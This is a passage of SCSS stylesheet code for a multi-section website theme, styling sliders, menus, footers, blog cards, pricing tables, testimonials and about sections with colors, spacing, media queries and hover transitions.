ease, opacity 1500ms ease; opacity: 0; @media(min-width: 992px) { font-size: 20px; } @media(min-width: 1200px) { margin-bottom: 25px; } span { padding-bottom: 5px; border-bottom: 1px solid currentColor; } } &__btn { transform: scaleY(0) translateY(-200px); transform-origin: top center; opacity: 0; transition: transform 2000ms ease, background 500ms ease, color 500ms ease, opacity 2000ms ease; &:hover { background-color: #fff; color: var(--thm-black); } } .swiper-slide-active &__text, .swiper-slide-active &__btn { transform: scaleY(1) translateY(0); opacity: 1; } .swiper-slide-active &__title { transform: translateY(0); opacity: 1; } .main-slider__nav { display: none; @media(min-width: 992px) { display: block; } [class*=swiper-button-] { width: 40px; height: 120px; position: absolute; top: 50%; transform: translateY(-50%); background-color: #fff; color: var(--thm-black); display: flex; justify-content: center; align-items: center; text-align: center; opacity: 0.3; transition: all 500ms ease; font-size: 22px; &:hover { opacity: 1; } &::after { display: none; } @media(min-width: 1200px) { width: 45px; height: 173px; } } .swiper-button-prev { left: 0; } .swiper-button-next { right: 0; } } } /* main menu six */ .mainmenu-six { position: relative; z-index: 99; display: none; transition: all 500ms ease; @media(min-width: 1200px) { display: block; } &__inner { border-bottom: 1px solid rgba(#ffffff, .1); display: flex; margin-bottom: -69px; align-items: center; transition: all 500ms ease; } &.fixed-header { position: fixed; top: 0; left: 0; width: 100%; background-color: var(--thm-black); min-height: 68px; } &.fixed-header &__inner { border-bottom: 0; } .nav-outer { position: relative; float: none; text-align: left; } &__right { margin-left: auto; display: flex; align-items: center; } &__btn { padding: 17px 49px; &:hover { background-color: #fff; color: var(--thm-black); } } &__search { border-left: 1px solid rgba(#ffffff, .1); padding-left: 30px; margin-right: 30px; button { color: #fff; font-size: 24px; background-color: transparent; } } .main-menu .navigation { >li { margin: 0; padding-top: 0; padding-bottom: 0; } >li+li { margin-left: 38px; } >li>a { color: #fff; font-size: 15px; text-transform: capitalize; font-weight: bold; } } .main-menu .navigation>li>ul>li>a { font-size: 15px; font-weight: bold; color: var(--thm-black); text-transform: capitalize; transition: all 500ms ease; &:hover { color: var(--thm-base); } } .main-menu .navigation>li>ul { border-radius: 0; } } /* Footer six */ .footer-six { background-color: var(--thm-black); padding-top: 100px; padding-bottom: 70px; @media(min-width: 992px) { padding-bottom: 100px; } &__title { margin: 0; font-size: 18px; font-weight: bold; color: #fff; margin-bottom: 40px; } &__widget { margin-bottom: 30px; @media(min-width: 992px) { margin-bottom: 0; } } &__about { &__text { margin: 0; font-size: 24px; color: #fff; line-height: 1.2em; margin-top: 35px; margin-bottom: 35px; } } &__social { display: flex; align-items: center; a { display: flex; align-items: center; justify-content: center; width: 37px; height: 37px; color: #91aab9; font-size: 14px; background-color: #172f3e; border-radius: 50%; transition: all 500ms ease; &:hover { background-color: #fff; color: var(--thm-base); } +a { margin-left: 10px; } } } &__links { &__list { display: flex; &__item { margin-top: -13px; &:first-child { margin-right: 65px; } li a { font-weight: bold; font-size: 14px; color: #91aab9; transition: all 500ms ease; position: relative; &::after { content: ''; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; transform-origin: left center; transition: transform 500ms ease; transform: scaleX(0); } &:hover { color: #fff; &::after { transform-origin: right center; transform: scaleX(1); } } } } } } &__copyright { background-color: #172f3e; text-align: center; padding-top: 35px; padding-bottom: 35px; p { margin: 0; color: #91aab9; font-size: 14px; font-weight: bold; } } &__newsletter { &__form { margin-top: -16px; position: relative; button[type=submit] { position: absolute; background-color: rgba(#ffffff, .0); font-size: 18px; color: #91aab9; position: absolute; top: 0; right: 0; } input[type=text], input[type=email], input[type=phone] { display: block; width: 100%; border-bottom: 5px solid rgba(#ffffff, .1); background-color: rgba(0, 0, 0, 0); color: #91aab9; padding-bottom: 10px; } ::placeholder { opacity: 1; color: inherit; } p { margin: 0; color: #91aab9; font-size: 16px; font-weight: 400; display: flex; align-items: center; margin-top: 20px; a { color: inherit; transition: all 500ms ease; margin-left: 5px; &:hover { color: #fff; } } &::before { content: '\f00c'; font-family: "Font Awesome 5 Free"; font-weight: 900; border: 1px solid rgba(#ffffff, .1); width: 16px; height: 16px; display: flex; justify-content: center; align-items: center; border-radius: 50%; color: #fff; font-size: 10px; margin-right: 10px; } } } } } /* video six */ .video-six { background-color: var(--thm-base); position: relative; &__parallax { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0.1; div { background-color: var(--thm-base); } img { mix-blend-mode: luminosity; } } &__inner { display: flex; flex-direction: column; justify-content: center; align-items: center; text-align: center; position: relative; padding-top: 90px; padding-bottom: 100px; @media(min-width: 1200px) { flex-direction: row; justify-content: space-between; text-align: left; padding-top: 110px; padding-bottom: 120px; } } &__title { margin: 0; color: #fff; font-size: 40px; font-weight: bold; @media(min-width: 1200px) { font-size: 50px; max-width: 651px; } } &__video { display: flex; align-items: center; margin-top: 30px; @media(min-width: 1200px) { margin-top: 0; } &__text { font-family: 'reeyregular'; font-size: 30px; color: #ffffff; margin: 0; line-height: 1; } } &__btn { width: 111px; height: 111px; background-color: var(--thm-black); display: flex; align-items: center; justify-content: center; text-align: center; color: #fff; font-size: 24px; border-radius: 50%; margin-left: 30px; transition: all 500ms ease; position: relative; &:hover { background-color: #fff; color: var(--thm-base); } & .ripple, & .ripple:before, & .ripple:after { position: absolute; top: 50%; left: 50%; width: 100%; height: 100%; border-radius: 50%; -ms-border-radius: 50%; transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } & .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } & .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } } } /* map six */ .map-six { iframe { height: 553px; } } /* blog six */ .blog-six { padding-bottom: 70px; padding-top: 100px; @media(min-width: 1200px) { padding-bottom: 90px; padding-top: 120px; } &__item { position: relative; margin-bottom: 30px; } &__image { background-color: var(--thm-black); img { width: 100%; opacity: 1; transition: all 500ms ease; } } &__item:hover &__image img { opacity: 0.8; } &__content { padding-left: 40px; padding-right: 40px; background-color: #fff; box-shadow: 0px 20px 60px 0px rgba(23, 39, 54, 0.07); padding-top: 20px; padding-bottom: 44px; position: relative; &::after { content: ''; width: 100%; height: 2px; background-color: var(--thm-base); position: absolute; bottom: 0; left: 0; transform-origin: right center; transform: scaleX(0); transition: transform 500ms ease; } } &__item:hover &__content::after { transform: scaleX(1); transform-origin: left center; } &__text { font-size: 18px; line-height: 34px; color: var(--thm-text); margin: 0; margin-top: 27px; } &__title { margin: 0; color: var(--thm-black); font-size: 24px; line-height: 34px; font-weight: bold; a { color: inherit; transition: all 500ms ease; &:hover { color: var(--thm-base); } } } &__meta { display: flex; align-items: center; margin-bottom: 6px; a { font-size: 14px; font-weight: bold; color: var(--thm-text); display: flex; align-items: center; transition: all 500ms ease; +a { margin-left: 10px; } i { font-size: 14px; transition: all 500ms ease; color: var(--thm-base); margin-right: 4px; } &:hover { color: var(--thm-base); i { color: var(--thm-black); } } } } } /* sponsor six */ .sponsor-six { border-bottom: 1px solid #e2e7ea; padding-bottom: 120px; padding-top: 120px; img { opacity: 0.2; transition: all 500ms ease; &:hover { opacity: 0.6; } } } /* about six */ .about-six { background-color: #edf1f3; position: relative; padding-top: 100px; padding-bottom: 100px; @media(min-width: 992px) { padding-bottom: 150px; padding-top: 120px; } @media(min-width: 1200px) { padding-bottom: 235px; } &__curv { svg { width: 100%; position: absolute; bottom: 0; left: 0; transform: rotate(-180deg); z-index: 10; color: #fff; } } &__content { @media(min-width: 1200px) { margin-right: -30px; } } &__text { font-size: 18px; line-height: 2em; } &__image { display: flex; justify-content: flex-start; margin-top: 30px; margin-bottom: 30px; @media(min-width: 1200px) { margin: 0; justify-content: flex-end; } } &__box { display: flex; align-items: center; background-color: #fff; padding: 40px; transition: all 500ms ease; margin-top: 30px; @media(min-width: 992px) { padding: 30px; } @media(min-width: 1200px) { padding: 40px; margin-top: 60px; } &:hover { background-color: var(--thm-base); } &__title { color: var(--thm-black); margin: 0; font-size: 20px; line-height: 1.5em; font-weight: bold; transition: all 500ms ease; } &:hover &__title { color: #fff; } &__icon { width: 63px; height: 63px; border-radius: 50%; display: flex; align-items: center; justify-content: center; background-color: var(--thm-base); text-align: center; flex-shrink: 0; margin-right: 20px; font-size: 32px; color: #fff; transition: all 500ms ease; } &:hover &__icon { background-color: #fff; color: var(--thm-base); } } } /* about seven */ .about-seven { padding-top: 120px; padding-bottom: 120px; &__images { display: inline-block; position: relative; margin-bottom: 60px; @media(min-width: 992px) { margin-bottom: 0; } &::before { content: ''; width: 88%; height: 88%; background-color: var(--thm-base); border-radius: 50%; position: absolute; top: 0; left: -40px; } img { border-radius: 50%; max-width: 100%; position: relative; &:nth-of-type(2) { position: absolute; bottom: -60px; right: 50px; } } } .sec-title-six { margin-bottom: 0; } &__summery { font-size: 18px; line-height: 1.88em; color: var(--thm-text); margin: 0; margin-top: 45px; margin-bottom: 27px; } &__title { font-size: 24px; line-height: 1.2em; margin: 0; color: var(--thm-base); font-weight: 700; margin-bottom: 40px; } &__list { margin: 0; margin-bottom: 54px; li { position: relative; font-size: 18px; font-weight: bold; color: var(--thm-black); padding-left: 35px; >i { font-size: 20px; color: var(--thm-base); position: absolute; top: 10px; left: 0; } +li { margin-top: 4px; } } } } /* Funfact six */ .funfact-six { padding-top: 100px; padding-bottom: 70px; background-color: var(--thm-black); @media(min-width: 992px) { padding-top: 120px; padding-bottom: 90px; } &__item { margin-bottom: 30px; text-align: center; position: relative; &::after { display: none; content: ''; height: 158px; width: 1px; background-color: #fff; opacity: 0.1; position: absolute; top: 50%; right: 0; transform: translateY(-50%); @media(min-width: 768px) { display: block; } } } [class*=col-]:nth-of-type(2n) { .funfact-six__item::after { display: none; @media(min-width: 992px) { display: block; } } } [class*=col-]:last-child { .funfact-six__item::after { @media(min-width: 1200px) { display: none; } } } &__icon { font-size: 64px; color: #fff; line-height: 1; } &__count { margin: 0; color: #fff; font-size: 40px; line-height: 1; margin-top: 25px; margin-bottom: 12px; } &__text { margin: 0; font-size: 14px; font-weight: bold; color: #91aab9; line-height: 1; } } /* Project six */ .project-six { padding-top: 100px; @media(min-width: 1200px) { padding-top: 120px; } .auto-container { max-width: 100%; padding-left: 2px; padding-right: 2px; padding-bottom: 2px; @media(min-width: 1200px) { padding-left: 0; padding-right: 0; } } &__item { img { width: 100%; } } &__content { margin: 40px; position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: flex; flex-direction: column; justify-content: flex-end; padding: 50px; transform: translateY(-50%) translateZ(500px); opacity: 0; visibility: hidden; transition: transform 500ms ease, opacity 500ms ease, visibility 500ms ease; transform-origin: bottom center; &::before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: var(--thm-base); opacity: 0.9; } } &__item:hover &__content { opacity: 1; visibility: visible; transform-origin: top center; transform: translateY(0) translateZ(0); } &__category { position: relative; font-size: 15px; font-weight: bold; color: #fff; margin: 0; line-height: 1; } &__title { margin: 0; line-height: 1; font-size: 28px; font-weight: bold; color: #fff; margin-top: 15px; a { color: inherit; transition: all 500ms ease; } } } /* subscribe one */ .subscribe-one { padding-top: 90px; padding-bottom: 90px; border-bottom: 1px solid #e2e7ea; @media(min-width: 1200px) { padding-top: 110px; padding-bottom: 110px; } &__title { margin: 0; color: var(--thm-black); font-size: 40px; line-height: 1.2em; font-weight: bold; margin-bottom: 40px; @media(min-width: 1200px) { font-size: 50px; margin-bottom: 0px; } } &__validate { display: flex; align-items: center; margin-top: 21px; &::before { content: ''; width: 20px; height: 20px; border: 2px solid #e2e7ea; display: block; margin-right: 10px; } @media(min-width: 1200px) { margin-left: 70px; } } &__form { position: relative; @media(min-width: 1200px) { padding-left: 70px; } input[type=text], input[type=email], input[type=phone] { width: 100%; font-size: 16px; color: var(--thm-text); background-color: rgba(0, 0, 0, 0); border-bottom: 2px solid #e2e7ea; padding-bottom: 15px; } ::placeholder { opacity: 1; color: inherit; } button[type=submit] { font-size: 18px; position: absolute; top: 50%; right: 0; transform: translateY(-50%); background-color: transparent; color: var(--thm-base); transition: all 500ms ease; &:hover { color: var(--thm-black); } } } } /* Service Six */ .service-six { background-color: #edf1f3; position: relative; padding-top: 100px; padding-bottom: 70px; @media(min-width: 992px) { padding-bottom: 120px; padding-top: 120px; } @media(min-width: 1200px) { padding-bottom: 205px; } &__curv { svg { width: 100%; position: absolute; bottom: -1px; left: 0; transform: rotate(-180deg); z-index: 10; color: #fff; } } &__item { margin-bottom: 30px; } &__content { position: relative; background-color: #fff; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); padding: 45px 50px; &::before { content: ''; width: 100%; height: 3px; background-color: var(--thm-base); position: absolute; bottom: 0; left: 0; transform: scaleX(0); transition: transform 500ms ease; transform-origin: left center; } } &__item:hover &__content::before { transform: scaleX(1); transform-origin: right center; } &__icon { width: 102px; height: 102px; display: flex; justify-content: center; align-items: center; background-color: #fff; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); transition: all 500ms ease; position: absolute; top: -63px; right: 30px; z-index: 10; i { font-size: 60px; color: var(--thm-base); transition: all 500ms ease; } } &__item:hover &__icon { background-color: var(--thm-base); i { color: #fff; } } &__title { margin: 0; color: var(--thm-black); font-size: 22px; font-weight: bold; margin-bottom: 35px; a { color: inherit; transition: all 500ms ease; &:hover { color: var(--thm-base); } } } &__text { font-size: 18px; color: var(--thm-text); line-height: 2em; margin: 0; } } /* Footer seven */ .footer-seven { background-color: var(--thm-black); background-image: url(../images/update-01-10-2021/shapes/footer-bg-1-1.png); background-position: center center; padding-top: 100px; padding-bottom: 60px; @media(min-width: 1200px) { padding-bottom: 90px; } &__widget { margin-bottom: 30px; @media(min-width: 1200px) { margin-bottom: 0; } } &__about { &__text { margin: 0; font-size: 16px; line-height: 1.875em; color: #a7a4b3; margin-top: 20px; a { color: inherit; transition: all 500ms ease; line-height: 40px; &:hover { color: #fff; } } } } &__title { margin: 0; font-size: 18px; font-weight: bold; color: #fff; margin-bottom: 25px; } &__links { &__list { li { +li { margin-top: 6px; } a { color: #a7a4b3; font-size: 16px; transition: all 500ms ease; position: relative; &::before { content: ''; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; transform: scaleX(0); transform-origin: left center; transition: transform 500ms ease; } &:hover { color: #fff; &::before { transform-origin: right center; transform: scaleX(1); } } } } } } [class*=col-]:last-child { @media(min-width: 992px) { display: flex; align-items: center; .footer-seven__social { margin-top: -50px; } } } &__social { display: flex; align-items: center; a { display: flex; align-items: center; justify-content: center; width: 40px; height: 40px; background-color: #201e28; font-size: 14px; transition: all 500ms ease; color: #fff; border-radius: 50%; @media(min-width: 992px) { width: 56px; height: 56px; font-size: 18px; } +a { margin-left: 10px; } &:hover { background-color: #fff; color: var(--thm-black); } } } &__copyright { background-color: #201e28; padding: 39px 0; p { margin: 0; font-size: 16px; color: #a7a4b3; } } } /* footer eight */ .footer-eight { padding-top: 75px; padding-bottom: 60px; background-color: var(--thm-black); @media(min-width: 1200px) { padding-top: 95px; padding-bottom: 80px; } &__title { margin: 0; font-size: 16px; font-weight: bold; color: #fff; margin-bottom: 15px; @media(min-width: 1200px) { margin-bottom: 39px; } } &__widget { margin-bottom: 20px; p { margin: 0; font-size: 14px; font-weight: 500; color: #acb5cb; line-height: 2.14; a { color: inherit; transition: all 500ms ease; &:hover { color: #fff; } } } } &__social { display: flex; align-items: center; margin-top: 20px; @media(min-width: 1200px) { margin-top: 30px; } a { color: #acb5cb; transition: all 500ms ease; +a { margin-left: 25px; } &:hover { color: var(--thm-base); } } } &__copyright { background-color: #112350; .auto-container { display: flex; justify-content: center; align-items: center; flex-direction: column; text-align: center; padding-top: 20px; padding-bottom: 20px; @media(min-width: 992px) { flex-direction: row; justify-content: space-between; padding-top: 35px; padding-bottom: 35px; } } p { font-size: 14px; font-weight: 500; color: #acb5cb; margin: 0; margin-top: 5px; } } } /* footer nine */ .footer-nine { padding-top: 80px; padding-bottom: 40px; background-color: var(--thm-black); .row { @media(min-width: 1200px) { align-items: center; } } @media(min-width: 1200px) { padding-top: 0; padding-bottom: 0; } &__widget { margin-bottom: 30px; @media(min-width: 1200px) { margin-bottom: 0; } &__title { margin: 0; color: #fff; font-size: 24px; text-transform: uppercase; font-weight: 500; line-height: 1; margin-bottom: 20px; @media (min-width: 1200px) { margin-bottom: 30px; } } } &__subscribe { &__text { margin: 0; font-size: 16px; color: #999b9f; line-height: 2.25; max-width: 302px; margin-bottom: 20px; } form { position: relative; max-width: 300px; width: 100%; input[type=text], input[type=email], input[type=phone] { background-color: #1c1e22; width: 100%; display: block; height: 70px; border-radius: 8px; color: #999b9f; font-size: 14px; padding-left: 30px; font-family: var(--thm-b-font); } button[type=submit] { background-color: rgba(0, 0, 0, 0); color: var(--thm-base); font-size: 16px; padding: 0; border: none; outline: none; position: absolute; top: 50%; right: 30px; transform: translateY(-50%); } ::placeholder { opacity: 1; color: inherit; } } } &__links { margin-bottom: 0; @media(min-width: 1200px) { border-left: 1px solid rgba(#ffffff, .07); border-right: 1px solid rgba(#ffffff, .07); margin-left: -10px; padding-left: 90px; padding-right: 15px; margin-right: -15px; padding-top: 140px; padding-bottom: 110px; } &__list { margin: 0; margin-bottom: 20px; @media(min-width: 1200px) { margin-bottom: 0; } li { a { color: #999b9f; font-size: 16px; transition: all 500ms ease; position: relative; &::before { content: ''; width: 100%; height: 1px; background-color: #fff; position: absolute; bottom: 0; left: 0; transform: scaleX(0); transform-origin: right center; transition: transform 500ms ease; } &:hover { color: #fff; &::before { transform: scaleX(1); transform-origin: left center; } } } } } } &__contact { @media (min-width: 1200px) { padding-left: 75px; } &__text { margin: 0; font-size: 16px; line-height: 1.875; color: #999b9f; max-width: 193px; margin-bottom: 10px; @media(min-width: 1200px) { margin-bottom: 20px; } } &__list { margin-bottom: 0; li { position: relative; padding-left: 28px; color: #fff; font-size: 16px; a { color: inherit; transition: all 500ms ease; &:hover { opacity: 0.8; } } i { color: var(--thm-base); font-size: 15px; position: absolute; top: 0; left: 0; } } } } &__bottom { background-color: #1c1e22; .auto-container { display: flex; justify-content: center; align-items: center; text-align: center; flex-direction: column; padding-top: 20px; padding-bottom: 20px; @media(min-width: 992px) { flex-direction: row; justify-content: space-between; padding-top: 26px; padding-bottom: 26px; } } } &__copyright { margin: 0; font-size: 16px; color: #999b9f; } &__social { display: flex; align-items: center; justify-content: center; margin-top: 20px; @media(min-width: 992px) { margin-top: 0; } a { width: 44px; height: 44px; background-color: #000000; display: flex; justify-content: center; align-items: center; text-align: center; color: #999b9f; font-size: 16px; border-radius: 50%; transition: all 500ms ease; &:hover { background-color: #fff; color: var(--thm-black); } +a { margin-left: 10px; } } } } /* subscribe two */ .subscribe-two { background-color: #ff9a61; padding-top: 100px; padding-bottom: 100px; background-image: url(../images/update-01-10-2021/shapes/subscribe-two-bg-1-1.png); background-repeat: no-repeat; background-position: top right; position: relative; @media(min-width: 1200px) { padding-top: 120px; padding-bottom: 120px; } &__shape { position: absolute; bottom: 55px; left: 150px; width: 154px; height: 92px; background-image: url(../images/update-01-10-2021/shapes/subscribe-two-shape-1.png); background-repeat: no-repeat; } .row { @media(min-width: 1200px) { align-items: center; } } &__title { margin: 0; color: #fff; font-size: 40px; letter-spacing: -0.04em; @media(min-width: 1200px) { font-size: 50px; max-width: 505px; } span { font-weight: bold; } } &__form { position: relative; margin-top: 50px; @media(min-width: 992px) { margin-top: 0; } input[type=text], input[type=email], input[type=phone] { display: block; width: 100%; border-radius: 5px; background-color: #fff; color: var(--thm-text); font-size: 16px; padding-left: 30px; padding-right: 30px; height: 91px; } ::placeholder { opacity: 1; color: inherit; } button[type=submit] { height: 61px; width: 61px; background-color: var(--thm-black); display: flex; align-items: center; justify-content: center; text-align: center; color: #fff; font-size: 22px; border-radius: 50%; position: absolute; top: calc(50% - 30.5px); right: 10px; transition: all 500ms ease; &:hover { background-color: var(--thm-base); color: #fff; } } } } /* Blog Seven */ .blog-seven { padding-top: 90px; padding-bottom: 70px; @media(min-width: 992px) { padding-top: 110px; padding-bottom: 90px; } &__item { margin-bottom: 30px; } &__image { overflow: hidden; border-top-left-radius: 5px; border-top-right-radius: 5px; img { width: 100%; } } &__content { position: relative; border: 1px solid #f0eae4; border-top: 0; border-bottom: 0; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; padding-bottom: 40px; padding-top: 20px; padding-left: 40px; padding-right: 40px; transition: all 500ms ease; &::after { content: ''; background-color: #f0eae4; width: 100%; height: 11px; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; position: absolute; bottom: 0; left: 0; transition: all 500ms ease; } } &__item:hover &__content { border-color: #ff9a61; &::after { background-color: #ff9a61; } } &__title { margin: 0; color: var(--thm-black); font-size: 24px; font-weight: 500; line-height: 1.5em; a { color: inherit; transition: all 500ms ease; &:hover { color: inherit; } } } &__meta { display: flex; align-items: center; a { display: flex; align-items: center; color: var(--thm-text); font-size: 14px; transition: all 500ms ease; &:not(:last-child)::after { content: '/'; margin-left: 10px; margin-right: 10px; } i { color: var(--thm-base); font-size: 14px; transition: all 500ms ease; margin-right: 4px; } &:hover { color: var(--thm-base); i { color: var(--thm-black); } } } } &__date { position: absolute; left: 40px; bottom: 100%; background-color: #fff; padding-left: 20px; padding-right: 20px; color: var(--thm-text); font-size: 12px; z-index: 10; border-top-left-radius: 5px; border-top-right-radius: 5px; } } /* Testimonials Seven */ .testimonials-seven { background-color: #f8f4f0; padding-top: 100px; padding-bottom: 100px; padding-left: 15px; padding-right: 15px; position: relative; @media(min-width: 1200px) { padding-top: 120px; padding-bottom: 120px; } @media(min-width: 1400px) { padding-top: 120px; padding-bottom: 210px; } .sec-title-seven { text-align: center; @media(min-width: 1400px) { text-align: left; max-width: 366px; margin-bottom: 0; margin-top: -10px; } } &__nav { display: none; @media(min-width: 1400px) { display: flex; align-items: center; margin-top: 40px; } div+div { margin-left: 10px; } span { border-radius: 50%; width: 56px; height: 56px; background-color: #fff; display: flex; align-items: center; justify-content: center; text-align: center; width: 56px; height: 56px; color: var(--thm-black); font-size: 22px; transition: all 500ms ease; &:hover { background-color: var(--thm-base); color: #fff; } } } .swiper-container { overflow: visible; padding: 60px; @media(min-width: 1400px) { left: -60px; } } &__slider { margin: -60px; overflow: hidden; } &__slider-wrapper { @media(min-width: 1400px) { width: 100%; max-width: 1470px; position: absolute; right: -430px; top: 120px; } } &__item { border-radius: 5px; background-color: #fff; box-shadow: 0px 10px 60px 0px rgba(0, 0, 0, 0.05); padding: 40px; padding-bottom: 30px; @media(min-width: 992px) { padding: 60px; padding-bottom: 50px; } &::after { content: '\f15a'; font-family: "Flaticon"; font-size: 64px; color: var(--thm-base); position: absolute; top: 40px; right: 40px; @media(min-width: 992px) { top: 60px; right: 60px; } } } &__image { flex-shrink: 0; margin-right: 20px; img { border-radius: 50%; } } &__top { display: flex; align-items: center; } &__content { margin: 0; font-size: 18px; line-height: 2em; color: var(--thm-text); font-style: italic; margin-top: 25px; } &__name { margin: 0; font-size: 18px; color: var(--thm-black); font-weight: 500; line-height: 1; margin-bottom: 5px; } &__designation { margin: 0; font-size: 16px; line-height: 1; color: var(--thm-text); } } /* sponsor seven */ .sponsor-seven { .swiper-container { border-top: 1px solid #f0eae4; padding-top: 120px; padding-bottom: 120px; img { opacity: 0.3; transition: all 500ms ease; &:hover { opacity: 1; } } } } /* sponsor eight */ .sponsor-eight { background-color: #eef0f6; padding-top: 80px; padding-bottom: 80px; @media(min-width: 1200px) { padding-top: 120px; padding-bottom: 120px; } img { opacity: 0.3; transition: all 500ms ease; &:hover { opacity: 0.8; } } } /* Funfact Seven */ .funfact-seven { padding-top: 100px; padding-bottom: 70px; @media(min-width: 1200px) { padding-top: 120px; padding-bottom: 90px; } &__item { width: 220px; height: 220px; border-radius: 50%; background-color: #fff; box-shadow: 0px 20px 60px 0px rgba(42, 40, 51, 0.05); display: flex; align-items: center; justify-content: center; flex-direction: column; position: relative; margin-bottom: 30px; margin-left: auto; margin-right: auto; } &__title { font-size: 40px; color: var(--thm-black); font-weight: 400; line-height: 1; margin: 0; padding-bottom: 13px; } &__text { margin: 0; color: #579eee; letter-spacing: .2em; font-weight: 500; font-size: 12px; line-height: 1; text-transform: uppercase; &::before { content: ''; border-radius: 50%; border: 8px solid currentColor; position: absolute; top: 15px; left: 15px; right: 15px; bottom: 15px; opacity: 0.1; transition: all 500ms ease; } } &__item:hover &__text::before { opacity: 1; } [class*=col-]:nth-child(1) { .funfact-seven__item { @media(min-width: 992px) { margin-left: 0; } } } [class*=col-]:nth-child(2) { .funfact-seven__text { color: #ff9a61; } } [class*=col-]:nth-child(3) { .funfact-seven__text { color: #54d6ad; } } [class*=col-]:nth-child(4) { @media(min-width: 992px) { .funfact-seven__item { margin-left: auto; margin-right: 0; } } .funfact-seven__text { color: #f15d8a; } } } /* Pricing two */ .pricing-two { background-color: #f8f4f0; background-image: url(../images/update-01-10-2021/shapes/pricing-2-bg-1-1.png); background-position: center center; padding-top: 100px; padding-bottom: 70px; @media(min-width: 1200px) { padding-top: 240px; padding-bottom: 90px; } .animated { animation-duration: 1500ms; } &__card { margin-bottom: 30px; background-color: #fff; border-radius: 5px; padding-left: 40px; padding-right: 40px; text-align: center; transition: all 500ms ease; padding-top: 57px; padding-bottom: 52px; &:hover { background-color: var(--thm-black); } } &__amount { margin: 0; font-size: 60px; letter-spacing: -0.04em; line-height: 1; font-weight: 400; transition: all 500ms ease; } &__name { margin: 0; color: #ff9a61; text-transform: uppercase; letter-spacing: .2em; font-weight: 500; font-size: 14px; margin-top: 12px; } &__list { margin: 0; border-top: 1px solid #f0eae4; transition: all 500ms ease; margin-bottom: 28px; padding-top: 30px; margin-top: 30px; li { font-size: 16px; color: var(--thm-text); transition: all 500ms ease; font-weight: 400; +li { margin-top: 6px; } } } &__tagline { text-transform: uppercase; letter-spacing: .2em; font-size: 12px; font-weight: 400; color: var(--thm-text); margin: 0; transition: all 500ms ease; margin-top: 12px; } &__card:hover &__list { border-color: rgba(#ffffff, .1); } &__card:hover &__title, &__card:hover &__tagline { color: #a7a4b3; } &__card:hover &__amount { color: #fff; } .switch-toggler-list { display: flex; align-items: center; justify-content: center; margin-bottom: 30px; li { order: 0; &:nth-child(2) { order: 2; } &:last-child { order: 1; margin-left: 10px; margin-right: 10px; } a { color: var(--thm-text); font-size: 16px; } &.active { a { color: var(--thm-black); } } .switch { width: 79px; height: 36px; background-color: #f0eae4; border-radius: 18px; position: relative; display: block; cursor: pointer; span { width: 26px; height: 26px; border-radius: 50%; background-image: linear-gradient(to right, #ff9a61 0%, #ff4b82 51%, #ff9a61 100%); display: block; position: absolute; left: 5px; top: 5px; transform: translateX(0%); transition: transform 500ms ease; } &.off { span { transform: translateX(43px); } } } } } } /* project seven */ .project-seven { padding-top: 100px; padding-bottom: 100px; @media(min-width: 1200px) { padding-top: 120px; padding-bottom: 0; margin-bottom: -120px; position: relative; z-index: 10; } .auto-container { max-width: 100%; @media(min-width: 992px) { padding-left: 30px; padding-right: 30px; } @media(min-width: 1200px) { padding-left: 60px; padding-right: 60px; } @media(min-width: 1400px) { padding-left: 160px; padding-right: 160px; } } &__link { width: 50px; height: 50px; background-color: #fff; border-radius: 50%; display: flex; align-items: center; justify-content: center; position: absolute; top: 30px; right: 30px; font-size: 18px; color: var(--thm-black); transition: color 500ms ease, background 500ms ease, transform 500ms ease, opacity 500ms ease; transform: translateY(-50%); opacity: 0; &:hover { background-color: var(--thm-base); color: #fff; } } &__item:hover &__link { transform: translateY(0); opacity: 1; } &__item { overflow: hidden; border-radius: 5px; position: relative; img { width: 100%; transform: scale(1); opacity: 1; transition: transform 500ms ease, opacity 500ms ease; } &:hover img { opacity: 1; transform: scale(1.1); } } &__content { position: absolute; top: 0; left: 0; right: 0; bottom: 0; display: flex; flex-direction: column; justify-content: flex-end; padding: 50px; background-image: linear-gradient(to top, rgba(0, 0, 0, 1) 0%, rgba(0, 0, 0, 0) 70%); } &__category { color: #fff; font-size: 14px; margin: 0; line-height: 1; margin-bottom: 9px; } &__title { margin: 0; font-size: 24px; line-height: 1; color: #fff; line-height: 1.2em; font-weight: bold; a { color: inherit; transition: all 500ms ease; &:hover { color: var(--thm-base); } } } } /* about eight */ .about-eight { &__icon { i { font-size: 62px; color: var(--thm-base); } } &__image { margin-top: 60px; @media(min-width: 992px) { margin-top: 0; } img { @media(min-width: 992px) { max-width: none; float: left; margin-left: 70px; } } } &__title { margin: 0; font-size: 40px; color: var(--thm-black); max-width: 540px; margin-top: 20px; @media(min-width: 992px) { font-size: 50px; } span { font-weight: bold; } } &__summery { font-size: 18px; line-height: 2; color: var(--thm-text); margin: 0; margin-top: 35px; margin-bottom: 25px; } &__progress+&__progress { margin-top: 18px; } &__progress { max-width: 560px; &-top { p { margin: 0; font-size: 18px; font-weight: 500; color: var(--thm-black); } } &-line { width: 100%; height: 8px; border-radius: 4px; background-color: #f8f4f0; position: relative; margin-top: 5px; b { font-weight: normal; font-size: 18px; color: var(--thm-text); position: absolute; right: 0; bottom: calc(100% + 5px); i { font-style: normal; } } span { height: 100%; position: absolute; left: 0; top: 0; border-radius: 4px; background-color: #ff9a61; width: 0; transition: all 1000ms ease; } } } &__btn { margin-top: 60px; } } /* about nine */ .about-nine { padding-bottom: 120px; &__image { margin-bottom: 60px; @media(min-width: 992px) { margin-bottom: 0; } img { @media(min-width: 992px) { max-width: none; float: right; margin-right: 70px; } } } &__icon { i { font-size: 62px; color: var(--thm-base); } } &__title { margin: 0; font-size: 40px; 